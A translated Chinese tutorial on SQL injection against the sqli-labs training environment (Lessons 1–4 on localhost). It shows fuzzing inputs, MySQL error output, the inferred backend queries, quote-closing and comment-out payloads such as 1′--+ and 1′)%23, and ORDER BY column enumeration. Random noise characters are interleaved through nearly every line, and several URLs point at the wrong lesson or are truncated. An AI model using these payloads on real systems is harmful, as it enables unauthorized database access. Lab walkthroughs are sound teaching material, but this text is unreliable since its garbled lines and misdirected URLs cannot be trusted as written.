' f2 _$ P/ F( p- m0 VID=20 =>页面上没有结果显示, ~6 _' g1 p8 g( W# v! ~' m' p5 b
- Q. N" U1 z. z- x2 G% P
ID=100 => 页面上没有结果显示 ' _ U3 d. a: w# [8 k4 a% ?结果枚举:数据库表中似乎有8条记录,任何不存在的ID值,它返回一个空集。 0 D, k5 X" h' B1 d模糊测试: ' T( n9 j5 v5 X* b5 h, ^: E7 D3 U) \; I* r" ]- ?1 h, u! x1 J
一般来说,应用程序开发人员假定用户将输入整数值。 尝试用模糊测试所有的应用程序输入点。 那么究竟什么是模糊? 这是一个过程,输入一些特殊意义的参数等,并尝试找到应用程序报错的差异反应。差异的报错表明可能存在漏洞。 + ~2 J0 T+ m' B2 T# U4 B以下是一些任意的输入: ! \! {, m- t7 h/ C* ]2 u“ 0 ]( }& ]4 i. d( Y8 L6 J. O% M
“ # m( @6 s8 E" q& I, P6 P8 N\ / j q! O! Q! [, O$ B+ i+ A' f; ( N3 B4 ~( T, x4 D0 V4 C& u& k%00 * |: p4 W* g, A2 l. C( k1 O S) % O- B- i* h4 }; ]
( , u3 A: G6 P$ l2 saaa ) U- b8 v. y$ y整数或字符串测试:由于输入参数似乎是整数值,让我们尝试输入ID参数的字符串值,并观察其行为。% N! E1 g! Y) M( q* U4 {0 s
Less1: http://localhost/sqli-labs/Less-1/?id=asdf3 s6 ]/ ]) P, `5 ~& `3 r
Less2: http://localhost/sqli-labs/Less-2/?id=asdf 3 b" C8 C- T# W) O, H3 E* ]- q; r, `% X. A# ^* b+ h
Less3: http://localhost/sqli-labs/Less-3/?id=asdf* `% @# s6 z+ a$ J" q: d
Less4: http://localhost/sqli-labs/Less-4/?id=asdf" D* S/ p- ]6 l
/ B6 w+ |. c9 p7 l
整数和字符串测试的结果:我们看到,Less1、Less3、Less4返回的页面是空的,没有任何结果和报错,而Less2返回不同的,有一个MySQL错误消息。 从非常基本的编程技术,我们知道一个字符串参数始终包裹在单引号或双引号中,而整数不是这样。 因此,我们可以假设,Less1、Less3和Less4使用某种形式的引号包裹用户输入。他们认为输入的字符串值在数据库中不存在的,因此返回空值。Less2产生了一个错误提示,这意味着用户输入没有被引号包裹,因此整数型的输入在查询中正常工作,但是输入字符串值确产生了报错。 综上,我们可以推断出, less1、less3、less4是基于字符串的注入,而less2是一个整数型的注入。6 [, J* f& I1 V* }2 M, r/ K- J
继续模糊化:现在,让我们进一步采取模糊的字符. 0 j6 B& c% ]1 l, Z: x用单引号来进行测试 ^( S" |: ~; |$ d2 m% @) t" vless1 2 i, H7 @ k+ q* g# ?1 Ihttp://localhost/sqli-labs/Less-1/?id=1‘ ( @$ q. ^# l$ j7 zYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1′ at line 11 U" b5 [9 c2 {- D: x0 A0 S5 I
less2! H' `8 G$ B! d1 _ G9 A$ F1 S
http://localhost/sqli-labs/Less-2/?id=1 ’ 7 }( g7 O0 X. c; a Y6 m8 g' _! ?2 A% ^# YYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” LIMIT 0,1′ at line 18 g2 P/ A& g( }
! q+ b9 [; G' t- y+ C9 D
less3 0 q' V; H9 n0 @' L' J0 S/ dhttp://localhost/sqli-labs/Less-3/?id=1 ’ 2 @) {1 H! f4 O! k; l6 FYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1”) LIMIT 0,1′ at line 1 ; a( [$ ], I8 e" C* i1 _所有这三个都产生错误提示,只有less4没有错误提示,反正正常的查询结果.3 X- F/ q- p9 n
用双引号进行测试 6 n. r3 t0 ~4 }8 e/ K; }用双引号测试发现只有less4会产生错误提示,less1、less2、less3都返回正常的结果。) d* A( u* i _, }8 s! Q0 C
9 G$ V; l+ Q8 d( S& y通过上面的测试,less1、less2、less3是单引号注入,而less4是双引号注入. , g7 f( s" F. O: V# J/ P K 1 Y: s- D4 p) B$ P. J+ Q/ X
综合所有的测试,less1、less3、less4是基于字符串的注入,而less2是基于数字的注入。8 F. ^! W) {" B* S$ H6 @
用\进行测试* O, F7 n" W0 t; {* m
“\”转义符在mysql中是为了打印具有特殊意义的字符串。测试结果如下:4 G3 m T$ V6 _% a6 C6 C' {* b
less1 ; ~9 w$ t# H$ L# h$ K- Phttp://localhost/sqli-labs/Less-1/?id=1\% ]8 t) g9 y. w5 r+ z
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ”1\’ LIMIT 0,1′ at line 1 0 P: c) w. s- m! K9 c* ^4 E& p+ Vless2 " P8 O4 H4 {! S: O9 Ohttp://localhost/sqli-labs/Less-2/?id=1\ # Y; [; `/ \5 ]( V' A( `. uYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘\ LIMIT 0,1′ at line 1 * [7 W/ O3 }* ?! q* l& Zless3; E# t" I; x" n9 ], K4 g
http://localhost/sqli-labs/Less-3/?id=1\ & S! ?) p( j4 @You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ”1\’) LIMIT 0,1′ at line 15 L# r" U" H8 V
less4 4 j) m5 J C: G# I; Z6 ?% ghttp://localhost/sqli-labs/Less-4/?id=1\/ K6 b! b8 F" U- {
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘”1\”) LIMIT 0,1′ at line 1 ) }$ J) J& J+ Z7 s5 C# H5 n3 fless1的报错,当我们输入1\的时候,报错信息中1\附近可以看到一个单引号,说明输入字符串是被单引号所包裹的。 / c+ B4 I. F$ j- ?/ l8 k2 Qless2的报错信息,当我们输入1\的时候,报错信息中没有返回引号,说明less2是一个整数类型的注入,不需要用引号来突破查询获取结果。 $ r" K( `1 M+ j) F# j8 Z+ eless3报错信息,当我们输入1\的时候,报错信息中1\后面出现了’),说明应用程序中的变量是在括号中的,如(‘var’). 0 M }4 j% ?/ c/ Gless4的报错信息,当我们输入1\的时候,报错信息中1\后面出现了”),说明应用程序中的变量var是这样的,如(“var”).- c' ~2 c( c3 X
这四种情况在后端查询中使用的语句实际分别为:0 c: b7 b# ]5 d% r2 X
Less-1: SELECT * FROM TABLE_NAME WHERE ID=’$ID’ LIMIT 0,18 S2 ~% Y7 Y! @" C
Less-2: SELECT * FROM TABLE_NAME WHERE ID=$ID LIMIT 0,1 7 `; j' U& e) j2 n4 |. ULess-3: SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1 " I) e# E* B+ M) {Less-4: SELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,1 " E' F7 A. ~2 v Z , c, y' g2 O' }" o( |& @6 x1 Z对于一个成功的注入,应该关闭查询语句中围绕在变量周围的分隔符,从而使我们逃避字符串/整数的编辑,并且成功执行sql语句.有两种方法,一种是注释掉其余的查询语句,另外一种是增加额外的分隔符,多余的分隔符使查询语句在语法上是正确的,如: . y! Q8 ^* s7 J5 z: z+ [% d+ DLess-1: SELECT * FROM TABLE_NAME WHERE ID=’ $ID ‘ LIMIT 0,13 B& d1 H3 t3 v7 ?8 w$ w3 O
当我们输入的参数$ID的值为1‘,查询语句就会变成如下:# Y; L# T" o1 a- L3 a
SELECT * FROM TABLE_NAME WHERE ID=’ 1′ ‘ LIMIT 0,1& P) B; x' F: r& ~3 `% L: \
现在这个查询语句是不正确的,我们需要解决多余的’号,这个’号是原始查询的一部分,可以用以下方法: 7 z- Z6 I; K" @( n \. r方法一:9 p I+ d, }6 L# d
可以使用sql注释来修复语法问题,mysql使用三种类型的注释:-+、#、/**/ 。因此我们可以使用1′-+或者1′#$ ~9 K, {+ M, ~: o6 a4 W* m
查询语句将变为如下: 6 B1 L# g" J$ }7 ^SELECT * FROM TABLE_NAME WHERE ID=’ 1′–+ ‘ LIMIT 0,12 e- j' x. y& e" L
SELECT * FROM TABLE_NAME WHERE ID=’ 1′ # ‘ LIMIT 0,12 m- K2 ^; }2 U( P0 l) ^+ E
注射的完整URL如下: _* s2 ~2 T4 E+ a; B ]% i
http://localhost/sqli-labs/Less-1/?id=1′–+9 U' }5 Q7 e9 D4 c) f" M; u
http://localhost/sqli-labs/Less-1/?id=1′ %23 L+ A: E% P; J3 |, O
(%23是#号的url编码) ! o: G. J- g! m在less2中,因为没有额外的引号,所以只需要注释掉后面的语句就可以了,查询语句和完整的sql注射URL如下: ) V% I4 Y9 \& S( Z2 G+ h- X- G8 mhttp://localhost/sqli-labs/Less-2/?id=1–+' o! R. z/ c4 f& C' d) \
( @9 ^0 k3 k( P, j6 Y) K# E
ttp://localhost/sqli-labs/Less-2/?id=1 %23 + e7 [ q/ T! m* W- mSELECT * FROM TABLE_NAME WHERE ID= 1–+ LIMIT 0,1" W D+ N% p, b2 {2 D5 L8 c- A
SELECT * FROM TABLE_NAME WHERE ID= 1# LIMIT 0,1 , `" c5 ~5 B3 d7 ^5 P; c1 R在less3中,我们推断后端sql语句如下: % H3 A0 F' x. j) ^SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1 # ~! k# H _: T" O3 @7 g- }% [/ x, v$ p所以我们需要想办法先关闭掉分隔符,然后再注释掉后面的语句- \8 W& b9 Z- v
SELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) –+ ‘) LIMIT 0,1 # }! f& O ~# Y' z1 v/ sSELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) # ‘) LIMIT 0,1 5 o4 S+ z9 e. X% |- u$ ~注射: 1′) –+ 1′) #- N y) H. F% C% ~3 m( s
完整的注射URL:% p: m/ d, I; X
http://localhost/sqli-labs/Less-2/?id=1‘)-+ , `) z9 J2 g) Fhttp://localhost/sqli-labs/Less-2/?id=1′) %23 2 I) ]0 U( U$ i, K$ Z" ^在less4中,我们推广后端sql语句如下:+ R+ _1 U7 O6 s
SELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,1 8 i/ y2 j1 `0 k6 m: |* m5 [$ k同样,需要关闭掉分隔符,然后注释掉后面的语句" Z! Y/ B1 M, B1 V
SELECT * FROM TABLE_NAME WHERE ID=(” 1″) –+ “) LIMIT 0,11 H5 _) G* n( O. g4 U, l
SELECT * FROM TABLE_NAME WHERE ID=(” 1″) # “) LIMIT 0,1 6 o: }! D; L/ E6 v, Q! Y7 ]注射: 1″) –+ 1″) # 2 {; r+ y1 ?1 h% t" zhttp://localhost/sqli-labs/Less-2/?id=1″)–+' N' w: U" B1 s( x
http://localhost/sqli-labs/Less-2/?id=1 “)%23 8 w: V4 U5 j& @" r* w8 Q' y通过查询了解表中的字段数 * s* M) W$ N" H* A" t正如我们看到的,在枚举阶段,应用程序与数据库进行交互,并在网页上显示一些信息,这个过程经常会用到union语句联合查询数据库中的信息。使用union语句的一个限制是两个表或者多个表中的字段必须数量一致,因此需要用order by语句来判断字段数量。当只有N个字段时,如果你order by N+1或更大,就报错了。1 @' Q. j, A; X
下面我们测试用order by 1,order by 2……等来查询观察结果.) G- f( E( l) m6 b3 p! m# l' `
http://localhost/sqli-labs/Less-1/?id=1′ order by 1-+ 返回正常页面 . A1 O6 b5 h- x& f& C' A" phttp://localhost/sqli-labs/Less-1/?id=1′ order by 4-+返回错误页面,说明表中只有3列.7 \+ L3 {: z$ D* s& N% }
Lesson2:4 t+ j" W& ]$ E$ P9 ^9 Q
Injection: 1 ORDER BY 1 –+ => 没有错误. 5 \ E- r: G+ i8 X: q4 c8 l4 c8 \Injection: 1 ORDER BY 2–+ => 没有错误.: h. @- J8 y, f5 |
Injection: 1 ORDER BY 3 –+ => 没有错误. ) V1 \# u: C1 J3 H) @% n$ JInjection: 1 ORDER BY 4 –+ => 错误 – 可以确定表中只有三列.* ~- ^4 w5 o. V7 t
当我们知道了表中的字段数,我们就可以继续下一步查询相关的字段名或者字段值了。 * v% p$ y3 Q2 ]3 E y- l4 H4 R/ D 2 @2 T Z, U2 o本文是由阿德马翻译,转载请注明出处.本人有一个学习测试环境,目前还没有搭建好。